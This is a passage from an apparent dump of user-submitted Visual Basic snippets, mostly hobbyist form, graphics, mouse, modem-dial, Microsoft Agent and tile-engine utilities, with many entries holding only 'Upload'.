0\nMrk1 = False\nDo Until a = Len(DDat) + 1\nb = Mid$(DDat, a, 1)\nIf b = \".\" Then Mrk1 = True\nIf Mrk1 = False Then f = f & b\nIf Mrk1 = True Then\nc = c + 1\nIf c <= 3 Then\nf = f & b\nEnd If\nEnd If\na = a + 1\nLoop\na = 1\nMrk1 = False\nDo Until a = Len(f) + 1\nIf Mid$(f, a, 1) = \".\" Then\nb = a\nMrk1 = True\nEnd If\n\na = a + 1\nLoop\n'If Mrk1 = False Then f = f & \".\"\nIf Val(Mid$(f, b, Len(f))) = 3 Then f = f & \"00\"\nIf Val(Mid$(f, b, Len(f))) = 4 Then f = f & \"0\"\n\nIf Mrk1 = False Then f = f & \".00\"\nDallorGet = f\nExit Sub\nyu:\nExit Sub\nEnd Sub\nSub addletter(frm As Form, newletter As String, oldcaption As String)\n'Used By AnimateCaption\n Dim total As Integer, spaces As Integer, temp, X\n total = Len(temp)\n spaces = (frm.Width / 50) - (total)\n For X = spaces To Len(temp) Step -1\n frm.Caption = oldcaption & Space(X) & newletter\n DoEvents\n Next X\n End Sub\n\nSub AnimateCaption(CapData, MEfrm As Form)\n'Usage:\n'\n' AnimateCaption Form1\n'\n MEfrm.Show\n MEfrm.Caption = \"\"\n Dim a, t\n a = CapData\n For t = 1 To Len(a)\n addletter MEfrm, Mid$(a, t, 1), MEfrm.Caption\n Next t\nEnd Sub\n\n \nSub DisableX(FormNameHere As Form)\n'Usage:\n'\n' DisableX Form1\n'\n Dim hMenu As Long\n Dim menuItemCount As Long\n hMenu = GetSystemMenu(FormNameHere.hwnd, 0)\n If hMenu Then\n menuItemCount = GetMenuItemCount(hMenu)\n Call RemoveMenu(hMenu, menuItemCount - 1, MF_REMOVE Or MF_BYPOSITION)\n Call RemoveMenu(hMenu, menuItemCount - 2, MF_REMOVE Or MF_BYPOSITION)\n Call DrawMenuBar(FormNameHere.hwnd)\n End If\n \nEnd Sub\n"},{"WorldId":1,"id":2695,"LineNumber":1,"line":"Private Sub text1_KeyPress(KeyAscii As Integer)\n Dim Numbers As Integer\n Dim Msg As String\n \n Numbers = KeyAscii\n \n If ((Numbers < 48 Or Numbers > 57) And Numbers <> 8) Then\n Msg = MsgBox(\"Only Numbers are aloud in this Textbox\", vbCritical, \"Error Number\")\n KeyAscii = 0\n End If\nEnd Sub"},{"WorldId":1,"id":2700,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2706,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2731,"LineNumber":1,"line":"Sub OpenUrl(URL As String)\nRem Written by Stephen Glauser\nRem Last Update: August 1, 1999\nRem This will the users Default Web Browser\nRem and send them to the specified URL\nRem Call OpenUrl(\"http://www.microsoft.com\")\nShell (\"Explorer \" & URL$), vbNormalNoFocus\nEnd Sub"},{"WorldId":1,"id":2734,"LineNumber":1,"line":"Sub TimeOut (duration)\nStartTime = Timer\nDo While Timer - StartTime < duration\n X = DoEvents()\nLoop\nEnd Sub"},{"WorldId":1,"id":2736,"LineNumber":1,"line":"Sub FormCenter (Frm As Form)\nRem Written by Stephen Glauser\nRem Last Update: August 1, 1999\nRem Centers your form on the Screen\nRem FormCenter Me\nFrm.Top = (Screen.Height * .85) / 2 - Frm.Height / 2\nFrm.Left = Screen.Width / 2 - Frm.Width / 2\nEnd Sub\n"},{"WorldId":1,"id":2740,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2742,"LineNumber":1,"line":"'General Deciarations\nDim C As String 'to store panel's text\nDim CO As Integer 'to store text length\nDim FS As Long 'to store Panels Width\nPrivate Sub MDIForm_Load()\n Timer1.Interval = 100\n SB.Panels(1).Text = \"Nilantha Athurupana\"\n C = SB.Panels(1).Text\n CO = Len(C) + 1\n SB.Panels(1).Text = \"\"\n FS = SB.Panels(1).Width\nEnd Sub\nPrivate Sub Timer1_Timer()\nOn Error GoTo ATH\n Static C01 As Integer ' Counter 1\n Static CO2 As Integer ' Counter 2\n Static A As String 'To move text\n \n Dim R As String 'Restore text\n Dim T As String 'Restore text\n \nXX:\n If CO > 0 Then\n C01 = CO\n T = Mid(C, C01, 1)\n CO = CO - 1\n R = \" \"\n Mid(R, 1) = T\n SB.Panels(1).Text = R & SB.Panels(1).Text\n Else\n A = A & \" \"\n R = \" \"\n Mid(R, 1) = A\n SB.Panels(1).Text = R & SB.Panels(1).Text\n End If\n \n If CO2 >= FS Then\n CO2 = 0\n CO = Len(C)\n SB.Panels(1).Text = \"\"\n GoTo XX\n Else\n CO2 = CO2 + 35 'please edit this value according to your text length.\n End If\n Exit Sub\nATH:\nEnd Sub\n"},{"WorldId":1,"id":2746,"LineNumber":1,"line":"Public Sub SetColorBar(cListView As ListView, cColorBar As PictureBox, Optional lColor1 As Long = &HE2F1E3, Optional lColor2 As Long = vbWhite)\n' Creates a color bar background for a ListView when in \n' report mode. Passing the listview and picturebox allows \n' you to use this with more than one control. You can also \n' change the colors used for each by passing new RGB color \n' values in the optional color parameters.\n Dim iLineHeight As Long\n Dim iBarHeight As Long\n Dim lBarWidth As Long\n On Error GoTo SetColorBarError\n ' set picture to none and exit sub if not in report mode\n If Not cListView.View = lvwReport Then GoTo SetColorBarError\n ' these can be commented out if the cColorBar control \n ' is set correctly.\n cColorBar.AutoRedraw = True\n cColorBar.BorderStyle = vbBSNone\n cColorBar.ScaleMode = vbTwips\n cColorBar.Visible = False\n ' set the alignment to \"Tile\" and you only need \n ' two bars of color.\n cListView.PictureAlignment = lvwTile\n ' needed because ListView does not have \"TextHeight\"\n cColorBar.Font = cListView.Font\n ' set height to a single line of text plus a \n ' one pixel spacer.\n iLineHeight = cColorBar.TextHeight(\"|\") + Screen.TwipsPerPixelY\n ' set color bars to 3-line wide.\n iBarHeight = iLineHeight * 3\n lBarWidth = cListView.Width\n ' resize the cColorBar picturebox\n cColorBar.Height = iBarHeight * 2\n cColorBar.Width = lBarWidth\n ' paint the two bars of color\n cColorBar.Line (0, 0)-(lBarWidth, iBarHeight), lColor1, BF\n cColorBar.Line (0, iBarHeight)-(lBarWidth, iBarHeight * 2), lColor2, BF\n ' set the cListView picture to the \n ' cColorBar image\n cListView.Picture = cColorBar.Image\n Exit Sub\nSetColorBarError:\n ' clear cListView's picture and then exit\n cListView.Picture = LoadPicture(\"\")\nEnd Sub\n"},{"WorldId":1,"id":2747,"LineNumber":1,"line":"Sub ChangeRes(iWidth As Single, iHeight As Single)\n'Just Call Changeres(1600,1200) or whatever you want in load\n Dim a As Boolean\n Dim i&\n i = 0\n Do\n a = EnumDisplaySettings(0&, i&, DevM)\n i = i + 1\n Loop Until (a = False)\n Dim b&\n DevM.dmFields = DM_PELSWIDTH Or DM_PELSHEIGHT\n DevM.dmPelsWidth = iWidth\n DevM.dmPelsHeight = iHeight\n b = ChangeDisplaySettings(DevM, 0)\nEnd Sub\nPublic Sub TilePicture(frmDest As Form, source As PictureBox, X, Y)\n'This is not the sub that you want to use, it may be a good one to modify though\n'If you think you need Direct-X or just want to see what will work.\n Dim pw As Integer\n Dim ph As Integer\n Dim fw As Integer\n Dim fh As Integer\n Dim rst As Integer\n source.ScaleMode = 3\n pw = source.ScaleWidth\n ph = source.ScaleHeight\n fw = frmDest.Width / Screen.TwipsPerPixelX\n fh = frmDest.Height / Screen.TwipsPerPixelY\niResult = BitBlt(frmDest.hdc, X, Y, iPicWidth, iPicHeight, picSource.hdc, 0, 0, vbSrcCopy)\nEnd Sub\nPublic Sub LoadMap(InvisText As TextBox, mapname As String)\n'maps constists of numbers like\n'\n'00012301\n'12321455\n'51000102\n'and so forth, if anyone wants to make a map editor, that would be cool,\n'but I don't got the time(5:00 - 9:00pm) in football practice\n Dim lFileLength As Long\n Dim iFileNum As Integer\n iFileNum = FreeFile\n Open mapname For Input As iFileNum\n lFileLength = LOF(iFileNum)\n Text1.Text = Input(lFileLength, #iFileNum)\n Close iFileNum\nEnd Sub\nPublic Sub OpenMidi()\n'dont call this, it needs a few mods\n Dim sFile As String\n Dim sShortFile As String * 67\n Dim lResult As Long\n Dim sError As String * 255\n sFile = App.Path & \"\\midtest.mid\"\n lResult = GetShortPathName(sFile, sShortFile, Len(sShortFile))\n sFile = Left$(sShortFile, lResult)\n lResult = mciSendString(\"open \" & sFile & _\n \" type sequencer alias mcitest\", ByVal 0&, 0, 0)\n If lResult Then\n lResult = mciGetErrorString(lResult, sError, 255)\n Debug.Print \"open: \" & sError\n End If\nEnd Sub\nPublic Sub PlayMidi()\n'see above\n Dim lResult As Integer\n Dim sError As String * 255\n lResult = mciSendString(\"play mcitest\", ByVal 0&, 0, 0)\n If lResult Then\n lResult = mciGetErrorString(lResult, sError, 255)\n Debug.Print \"play: \" & sError\n End If\nEnd Sub\nPublic Sub CloseMidi()\n'again see above, i am sorry I will update soon\n Dim lResult As Integer\n Dim sError As String * 255\n lResult = mciSendString(\"close mcitest\", \"\", 0&, 0&)\n If lResult Then\n lResult = mciGetErrorString(lResult, sError, 255)\n Debug.Print \"stop: \" & sError\n End If\nEnd Sub\nSub PlayWave(sFileName As String)\n On Error GoTo Play_Err\n Dim iReturn As Integer\n If sFileName > \"\" Then\n If UCase$(Right$(sFileName, 3)) = \"WAV\" Then\n If Dir(sFileName) > \"\" Then\n iReturn = sndPlaySound(sFileName, 0)\n End If\n End If\n End If\n Exit Sub\nPlay_Err:\n Exit Sub\nEnd Sub\nFunction TileWalkable(Tilesize As Integer, LoadedMap As TextBox, X As Integer, Y As Integer, LineWidth As Integer) As Boolean\n'Funky Tile Engine Note:\n'Most pic boxes use twip, so divide pic.width by screen.twipsperpixelx and same for height, execpt for y insted.\n'I also suggest that you modify this if you are tring to make a more customized\n'engine, because this at this time gives you 18 unwalkables\nDim xx As Integer\nDim yy As Integer\nDim temp As Integer\nDim a As String\nDim b As String\nxx = X / Tilesize\nyy = Y / Tilesize\nIf Y < Tilesize Then\n a = Left(LoadedMap, xx)\n b = Mid(a, xx, 1): GoTo 1\nEnd If\ntemp = yy * LineWidth + 2\na = Left(LoadedMap, xx + temp)\nb = Mid(a, xx + temp, 1): GoTo 1\n1\nMsgBox b\nIf b = \"0\" Then TileWalkable = False: Exit Function\nIf b = \"1\" Then TileWalkable = False: Exit Function\nIf b = \"2\" Then TileWalkable = False: Exit Function\nIf b = \"3\" Then TileWalkable = False: Exit Function\nIf b = \"4\" Then TileWalkable = False: Exit Function\nIf b = \"5\" Then TileWalkable = False: Exit Function\nIf b = \"6\" Then TileWalkable = False: Exit Function\nIf b = \"7\" Then TileWalkable = False: Exit Function\nIf b = \"8\" Then TileWalkable = False: Exit Function\nIf b = \"9\" Then TileWalkable = False: Exit Function\nIf b = \"a\" Then TileWalkable = False: Exit Function\nIf b = \"b\" Then TileWalkable = False: Exit Function\nIf b = \"c\" Then TileWalkable = False: Exit Function\nIf b = \"d\" Then TileWalkable = False: Exit Function\nIf b = \"e\" Then TileWalkable = False: Exit Function\nIf b = \"f\" Then TileWalkable = False: Exit Function\nIf b = \"g\" Then TileWalkable = False: Exit Function\nTileWalkable = True\nEnd Function\nSub Tilemake(LoadedMap As TextBox, MapXLength As Integer, MapYLength, PicWidth As Integer, Dest As Form, Optional pic0 As PictureBox, Optional pic1 As PictureBox, Optional pic2 As PictureBox, Optional pic3 As PictureBox, Optional pic4 As PictureBox, Optional pic5 As PictureBox, Optional pic6 As PictureBox, Optional pic7 As PictureBox, Optional pic8 As PictureBox, Optional pic9 As PictureBox, Optional pic10 As PictureBox, Optional pic11 As PictureBox, Optional pic12 As PictureBox, Optional pic13 As PictureBox, Optional pic14 As PictureBox, Optional pic15 As PictureBox, Optional pic16 As PictureBox, Optional pic17 As PictureBox, Optional pic18 As PictureBox, Optional pic19 As PictureBox, Optional pic20 As PictureBox, Optional pic21 As PictureBox, Optional pic22 As PictureBox, Optional pic23 As PictureBox, Optional pic24 As PictureBox, Optional pic25 As PictureBox, Optional pic26 As PictureBox, Optional pic27 As PictureBox, Optional pic28 As PictureBox, Optional pic29 As PictureBox, _\nOptional pic30 As PictureBox, Optional pic31 As PictureBox, Optional pic32 As PictureBox, Optional pic33, Optional pic34 As PictureBox, Optional pic35 As PictureBox)\n'this is what you call\n'all pictureboxes are optional, so you don't have to use them all\n'Put me in the form paint\n'after 0123456789 comes a - z\n'be creative if you want more, ~!@#$%^&*()_+\ncc = 0\naa = 0\nbb = 0\n1\nFor i = 0 To MapXLength\na = Mid(LoadedMap, i + aa + 1, 1)\ndd = i * PicWidth\ndd = dd + 224\nIf a = \"0\" Then Call TilePicture(Dest, pic0, dd, cc)\nIf a = \"1\" Then Call TilePicture(Dest, pic1, dd, cc)\nIf a = \"2\" Then Call TilePicture(Dest, pic2, dd, cc)\nIf a = \"3\" Then Call TilePicture(Dest, pic3, dd, cc)\nIf a = \"4\" Then Call TilePicture(Dest, pic4, dd, cc)\nIf a = \"5\" Then Call TilePicture(Dest, pic5, dd, cc)\nIf a = \"6\" Then Call TilePicture(Dest, pic6, dd, cc)\nIf a = \"7\" Then Call TilePicture(Dest, pic7, dd, cc)\nIf a = \"8\" Then Call TilePicture(Dest, pic8, dd, cc)\nIf a = \"9\" Then Call TilePicture(Dest, pic9, dd, cc)\nIf a = \"a\" Then Call TilePicture(Dest, pic10, dd, cc)\nIf a = \"b\" Then Call TilePicture(Dest, pic11, dd, cc)\nIf a = \"c\" Then Call TilePicture(Dest, pic12, dd, cc)\nIf a = \"d\" Then Call TilePicture(Dest, pic13, dd, cc)\nIf a = \"e\" Then Call TilePicture(Dest, pic14, dd, cc)\nIf a = \"f\" Then Call TilePicture(Dest, pic15, dd, cc)\nIf a = \"g\" Then Call TilePicture(Dest, pic16, dd, cc)\nIf a = \"h\" Then Call TilePicture(Dest, pic17, dd, cc)\nIf a = \"i\" Then Call TilePicture(Dest, pic18, dd, cc)\nIf a = \"j\" Then Call TilePicture(Dest, pic19, dd, cc)\nIf a = \"k\" Then Call TilePicture(Dest, pic20, dd, cc)\nIf a = \"l\" Then Call TilePicture(Dest, pic21, dd, cc)\nIf a = \"m\" Then Call TilePicture(Dest, pic22, dd, cc)\nIf a = \"n\" Then Call TilePicture(Dest, pic23, dd, cc)\nIf a = \"o\" Then Call TilePicture(Dest, pic24, dd, cc)\nIf a = \"p\" Then Call TilePicture(Dest, pic25, dd, cc)\nIf a = \"q\" Then Call TilePicture(Dest, pic26, dd, cc)\nIf a = \"r\" Then Call TilePicture(Dest, pic27, dd, cc)\nIf a = \"s\" Then Call TilePicture(Dest, pic28, dd, cc)\nIf a = \"t\" Then Call TilePicture(Dest, pic29, dd, cc)\nIf a = \"u\" Then Call TilePicture(Dest, pic30, dd, cc)\nIf a = \"v\" Then Call TilePicture(Dest, pic31, dd, cc)\nIf a = \"w\" Then Call TilePicture(Dest, pic32, dd, cc)\n'If a = \"x\" Then Call TilePicture(Dest, pic33, dd, cc)\n'If a = \"y\" Then Call TilePicture(Dest, pic34, dd, cc)\n'If a = \"z\" Then Call TilePicture(Dest, pic35, dd, cc)\nNext i\ncc = cc + PicWidth\naa = aa + MapXLength + 2\nbb = bb + 1\nIf bb > MapYLength Then Exit Sub\nGoTo 1\nEnd Sub\n'Private Sub TransparentBlt(OutDstDC As Long, DstDC As Long, SrcDC As Long, SrcRect As RECT, DstX As Integer, DstY As Integer, TransColor As Long)\n' Dim nRet As Long, W As Integer, H As Integer\n' Dim MonoMaskDC As Long, hMonoMask As Long\n' Dim MonoInvDC As Long, hMonoInv As Long\n' Dim ResultDstDC As Long, hResultDst As Long\n' Dim ResultSrcDC As Long, hResultSrc As Long\n' Dim hPrevMask As Long, hPrevInv As Long\n' Dim hPrevSrc As Long, hPrevDst As Long\n' W = SrcRect.Right - SrcRect.Left + 1\n' H = SrcRect.Bottom - SrcRect.Top + 1\n' MonoMaskDC = CreateCompatibleDC(DstDC)\n' MonoInvDC = CreateCompatibleDC(DstDC)\n' hMonoMask = CreateBitmap(W, H, 1, 1, ByVal 0&)\n' hMonoInv = CreateBitmap(W, H, 1, 1, ByVal 0&)\n' hPrevMask = SelectObject(MonoMaskDC, hMonoMask)\n' hPrevInv = SelectObject(MonoInvDC, hMonoInv)\n' ResultDstDC = CreateCompatibleDC(DstDC)\n' ResultSrcDC = CreateCompatibleDC(DstDC)\n' hResultDst = CreateCompatibleBitmap(DstDC, W, H)\n' hResultSrc = CreateCompatibleBitmap(DstDC, W, H)\n' hPrevDst = SelectObject(ResultDstDC, hResultDst)\n' hPrevSrc = SelectObject(ResultSrcDC, hResultSrc)\n' Dim OldBC As Long\n' OldBC = SetBkColor(SrcDC, TransColor)\n' nRet = BitBlt(MonoMaskDC, 0, 0, W, H, SrcDC, SrcRect.Left, SrcRect.Top, vbSrcCopy)\n' TransColor = SetBkColor(SrcDC, OldBC)\n' nRet = BitBlt(MonoInvDC, 0, 0, W, H, MonoMaskDC, 0, 0, vbNotSrcCopy)\n' nRet = BitBlt(ResultDstDC, 0, 0, W, H, DstDC, DstX, DstY, vbSrcCopy)\n' nRet = BitBlt(ResultDstDC, 0, 0, W, H, MonoMaskDC, 0, 0, vbSrcAnd)\n' nRet = BitBlt(ResultSrcDC, 0, 0, W, H, SrcDC, SrcRect.Left, SrcRect.Top, vbSrcCopy)\n' nRet = BitBlt(ResultSrcDC, 0, 0, W, H, MonoInvDC, 0, 0, vbSrcAnd)\n' nRet = BitBlt(ResultDstDC, 0, 0, W, H, ResultSrcDC, 0, 0, vbSrcInvert)\n' nRet = BitBlt(OutDstDC, DstX, DstY, W, H, ResultDstDC, 0, 0, vbSrcCopy)\n' hMonoMask = SelectObject(MonoMaskDC, hPrevMask)\n' DeleteObject hMonoMask\n' hMonoInv = SelectObject(MonoInvDC, hPrevInv)\n' DeleteObject hMonoInv\n' hResultDst = SelectObject(ResultDstDC, hPrevDst)\n' DeleteObject hResultDst\n' hResultSrc = SelectObject(ResultSrcDC, hPrevSrc)\n' DeleteObject hResultSrc\n' DeleteDC MonoMaskDC\n' DeleteDC MonoInvDC\n' DeleteDC ResultDstDC\n' DeleteDC ResultSrcDC\n'End Sub\n'Dim R As RECT\n' With R\n' .Left = 0\n' .Top = 0\n' .Right = Picture1.ScaleWidth\n' .Bottom = Picture1.ScaleHeight\n'End With\n'\n'TransparentBlt Form1.hDC, Form1.hDC, Picture1.hDC, R, 20, 20, vbblack"},{"WorldId":1,"id":2750,"LineNumber":1,"line":"Dim Genie As IAgentCtlCharacterEx\nConst DATAPATH = \"genie.acs\"\n\nPrivate Sub Form_Load()\n Agent1.Characters.Load \"Genie\", DATAPATH\n Set Genie = Agent1.Characters(\"Genie\")\n Genie.LanguageID = &H409\n TextBox.Text = \"Hello World!\"\nEnd Sub\nPrivate Sub Button_Click()\n Genie.Show\n Genie.Speak TextBox.Text\n Genie.Hide\nEnd Sub"},{"WorldId":1,"id":2755,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2757,"LineNumber":1,"line":"Function ConvertToBase(DecNumber As Double, NewBase As Integer) As String\nDim ModBase As Double\n Do\n ModBase = CDbl(DecNumber - (Int(DecNumber / NewBase)) * NewBase)\n DecNumber = Int(DecNumber / NewBase)\n If ModBase > 9 Then ModBase = ModBase + 7\n ConvertToBase = Chr(ModBase + 48) & ConvertToBase\n Loop Until DecNumber = 0\nEnd Function\nFunction ConvertFromBase(BaseNumber As String, OldBase As Integer) As Double\nDim i As Integer, LetterVal As Integer\n On Error Resume Next\n For i = 1 To Len(BaseNumber)\n LetterVal = Asc(Mid(BaseNumber, Len(BaseNumber) - i + 1, 1)) - 48\n If LetterVal > 9 Then LetterVal = LetterVal - 7\n If LetterVal > OldBase Then GoTo InvalidNumber\n ConvertFromBase = ConvertFromBase + (OldBase ^ (i - 1)) * LetterVal\n Next i\nInvalidNumber:\nEnd Function"},{"WorldId":1,"id":2770,"LineNumber":1,"line":"Dim objAgent\nDim objChar\nDim objRequest\nDim txtSpeak\nDim strName\nset objAgent = CreateObject(\"Agent.Control.1\")\nobjAgent.Connected = True\nstrName = \"Peedy\" 'you can use genie, or merlin, or robby or whatever\nobjAgent.Characters.Load strName, strName & \".acs\"\nSet objChar = objAgent.Characters(strName)\n'objChar.LanguageID = &h409\nobjChar.Show\nobjChar.Speak(\"Hello! I'm \" & strName)\nobjChar.Play \"Wave\"\ntxtSpeak = \"What should I say next?\"\nwhile txtSpeak > \"\"\n objChar.Speak txtSpeak\n 'objChar.Play \"Hearing_1\"\n txtSpeak = InputBox(\"What should I say next?\", \"Peedy App\")\nwend\nobjChar.Speak \"Goodbye!\"\nobjChar.Hide\nmsgbox \"Goodbye!\", vbokonly, \"Peedy App\"\nSet objChar = Nothing\nobjAgent.Characters.Unload strName\n"},{"WorldId":1,"id":2771,"LineNumber":1,"line":"Private Sub Form_Load()\nCall Sleep(1000)\nEnd Sub\n'This code example will \"sleep\" for 1 second, and then load the form."},{"WorldId":1,"id":2773,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2785,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2792,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2795,"LineNumber":1,"line":"Public Function GetX() As Long\n Dim n As POINTAPI\n GetCursorPos n\n GetX = n.x\nEnd Function\nPublic Function GetY() As Long\n Dim n As POINTAPI\n GetCursorPos n\n GetY = n.y\nEnd Function\nPublic Sub LeftClick()\n LeftDown\n LeftUp\nEnd Sub\nPublic Sub LeftDown()\n mouse_event MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0\nEnd Sub\nPublic Sub LeftUp()\n mouse_event MOUSEEVENTF_LEFTUP, 0, 0, 0, 0\nEnd Sub\nPublic Sub MiddleClick()\n MiddleDown\n MiddleUp\nEnd Sub\nPublic Sub MiddleDown()\n mouse_event MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0\nEnd Sub\nPublic Sub MiddleUp()\n mouse_event MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0\nEnd Sub\nPublic Sub MoveMouse(xMove As Long, yMove As Long)\n mouse_event MOUSEEVENTF_MOVE, xMove, yMove, 0, 0\nEnd Sub\nPublic Sub RightClick()\n RightDown\n RightUp\nEnd Sub\nPublic Sub RightDown()\nmouse_event MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0\nEnd Sub\nPublic Sub RightUp()\n mouse_event MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0\nEnd Sub\nPublic Sub SetMousePos(xPos As Long, yPos As Long)\n SetCursorPos xPos, yPos\nEnd Sub"},{"WorldId":1,"id":2798,"LineNumber":1,"line":"Private Sub Form_Load\n Left = (Screen.Width - Width) \\ 2\n Top = (Screen.Height - Height) \\ 2\nEnd Sub"},{"WorldId":1,"id":2799,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2801,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2805,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2808,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2810,"LineNumber":1,"line":"Form2.PopUpMenu Form2.Menu1, 1\n'In place of Menu1 put your menus name, as in file.\n'u should have no problems. Thanks"},{"WorldId":1,"id":2834,"LineNumber":1,"line":"'Put this in your Command1 code. (o:\nPrivate Sub Command1_Click()\n \n If Text1.Text = \"idunno\" Then\n \n MsgBox \"You got it right!\", 8, \"Right Password!\"\n Else\n MsgBox \"You got it wrong!\", 8, \"Wrong Password!\" \n End If\nEnd Sub \n"},{"WorldId":1,"id":2837,"LineNumber":1,"line":"'From the book by Robert Sedgewick 'Algorithms in C++'\n'It is a very useful book. Can you find a non recursive way of doing this? \n'Recursion makes progs smaller and elegant whilst also making them\n'more difficult to understand ( the implicit stack and unwinding of the calls)\nPrivate Sub Form_Load()\nForm1.WindowState = 2 'maximum\nForm1.ScaleMode = 3 'pixel\nShow\nCall star(ScaleWidth \\ 2, ScaleHeight \\ 2, 90)\nEnd Sub\nPrivate Sub star(x As Integer, y As Integer, r As Integer)\nIf r > 1 Then\nCall star(x - r, y + r, r \\ 2)\nCall star(x + r, y + r, r \\ 2)\nCall star(x - r, y - r, r \\ 2)\nCall star(x + r, y - r, r \\ 2)\nCall box(x, y, r)\nEnd If\n\nEnd Sub\nPrivate Sub box(x1 As Integer, y1 As Integer, r1 As Integer)\nLine (x1 - r1, y1 - r1)-(x1 + r1, y1 + r1), , B\n'Form1.Circle (x1 - r1, y1 - r1), r1\n'Line (x1 - r1, y1 - r1)-(x1 + r1, y1 - r1), , B\n'Line -(x1 - (r1 \\ 2), y1 + r1)\n'Line -(x1 - r1, y1 - r1)\n'trying to draw triangle instead of sqr- not work accurately\n\nEnd Sub"},{"WorldId":1,"id":2841,"LineNumber":1,"line":"Private Sub Command1_Click()\n Label1.Caption = Int(rnd * 10)\n Label2.Caption = Int(rnd * 10)\n Label3.Caption = Int(rnd * 10)\nIf (Label1.Caption = Label2.Caption) And (Label3.Caption = Label2.Caption) Then\n MsgBox \"You Win!\", 8, \"Winner!\"\nEnd If\nEnd Sub\n"},{"WorldId":1,"id":2842,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2847,"LineNumber":1,"line":"'Put this into the Form_MouseMove.\n Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)\n Label1.ForeColor = &H80000012&\n End Sub\n'Ok, now stick this part into your Labels Label1_MouseMove\nPrivate Sub Label1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)\n Label1.ForeColor = &H000000FF&\nEnd Sub"},{"WorldId":1,"id":2848,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2852,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2856,"LineNumber":1,"line":"Public Function AnyDup(NumList As Variant) As Boolean\n Dim a As Long, b As Long\n 'Start the first loop\n For a = LBound(NumList) To UBound(NumList)\n 'Start the second loop (thanks for the suggestions everyone)\n For b = a + 1 To UBound(NumList)\n 'Check if the values are the same\n 'if they're equal, then we found a duplicate\n 'tell the user and end the function\n If NumList(a) = NumList(b) Then AnyDup = True: Exit Function\n Next\n Next\nEnd Function"},{"WorldId":1,"id":2859,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2867,"LineNumber":1,"line":"'Add this to the timers code area. \nForm1.Width = Form1.Width - 30\nForm1.Height = Form1.Height - 30\nForm1.Top = Form1.Top + 50\nForm1.Left = Form1.Left + 5\n'Feel free to alter this code, this is merely an example to be customized. (o:"},{"WorldId":1,"id":2875,"LineNumber":1,"line":"'just put this line in your form_load event\nSetWindowPos hwnd, conHwndTopmost, 100, 100, 400, 141, conSwpNoActivate Or conSwpShowWindow\n"},{"WorldId":1,"id":2876,"LineNumber":1,"line":"Function RecurseFolderList(foldername)\n Dim fso, f, fc, fj, f1\n Set fso = CreateObject(\"Scripting.FileSystemObject\")\n Set f = fso.GetFolder(foldername)\n Set fc = f.Subfolders\n Set fj = f.Files\n \n 'For each subfolder in the Folder\n For Each f1 In fc\n 'Do something with the Folder Name\n debug.print f1\n 'Then recurse this function with the sub-folder to get any sub-folders\n RecurseFolderList(f1)\n Next\t\n \n 'For each folder check for any files\n For Each f1 In fj\n debug.print f1\n Next\nEnd Function"},{"WorldId":1,"id":2884,"LineNumber":1,"line":"'make a command button name Command1 make its caption \"Begin\"\n'make a Textbox name Textbox1\n'make a timer called Timer1 and make it unenabled interval = 500\n'make a timer called Timer2 and make its interval 455\n'Make a label called Label1\n\nPrivate Sub Command1_Click()\nDo Until Label1.Caption = Text1.Text\nTimer1.Enabled = True\nPhoneNumber$ = \"123-4567\" 'isn't important never dials\nOpen \"COM2:\" For Output As #1 'or COM1\nPrint #1, \"ATDT\" & PhoneNumber$ & Chr$(13)\nLabel1.Caption = Label1.Caption + 1\nClose #1\nLoop\nEnd Sub\nPrivate Sub Form_Resize()\nOn Error GoTo a\nForm1.Height = 2715\nForm1.Width = 3690\n'another good way to do this is makes form1.borderstyle = 1\na:\nEnd Sub\nPrivate Sub Text1_KeyDown(KeyCode As Integer, Shift As Integer)\nSelect Case KeyCode\n Case vbKeyReturn:\n Do Until Label1.Caption = Text1.Text\n Timer1.Enabled = True\n PhoneNumber$ = \"123-4567\" 'this number isn't important it never dials!\n Open \"COM2:\" For Output As #1 'or COM1\n Print #1, \"ATDT\" & PhoneNumber$ & Chr$(13)\n Label1.Caption = Label1.Caption + 1\n Close #1\n Loop\n End Select\nEnd Sub\nPrivate Sub Timer1_Timer()\nIf Label1.Caption = Text1.Text Then\nLabel1.Caption = \"0\"\nEnd If\nEnd Sub\nPrivate Sub Timer2_Timer()\n Dim a\na = Int(Rnd * 15) + 1\nText1.ForeColor = QBColor(a)\nEnd Sub\n"},{"WorldId":1,"id":2886,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2894,"LineNumber":1,"line":"'// Please visit my homepage http://hem.passagen.se/tonek/vb\n'// and check out other sources i made..\n'// Martin Tonek <tonek@hem.passagen.se>\nPrivate Sub Form_Load()\n'// This will lock the control so you cant make any changes\n'// in runmode , false open it up.. default is false\nText1.Locked = True\nText1.Text = \"you can scroll and highlight the text in the control\" & _\n\" but you can't edit it. The program can still modify the text by \" & _\n\"changing the Text property\"\nEnd Sub\n'// I find it in the helpfile...so now you now how. Also want to add that\n'// all people using the keyascii code.. this one is better...\n'// neet little code free to use\n'// Wonder why people is so upset. I just tell this one..\n'// so a lot of people that do not use it when it is avalible may use it.\n"},{"WorldId":1,"id":2897,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2902,"LineNumber":1,"line":"'put this in your module\nDeclare Function ShowCursor& Lib \"user32\" _\n(ByVal bShow As Long)\n'Add this code to Command1.\nPrivate Sub Command1_Click()\nShowCursor (bShow = True)\nEnd Sub\n'Add this to Command2.\nPrivate Sub Command2_Click()\nShowCursor (bShow = False)\nEnd Sub\n'ok, that's it. 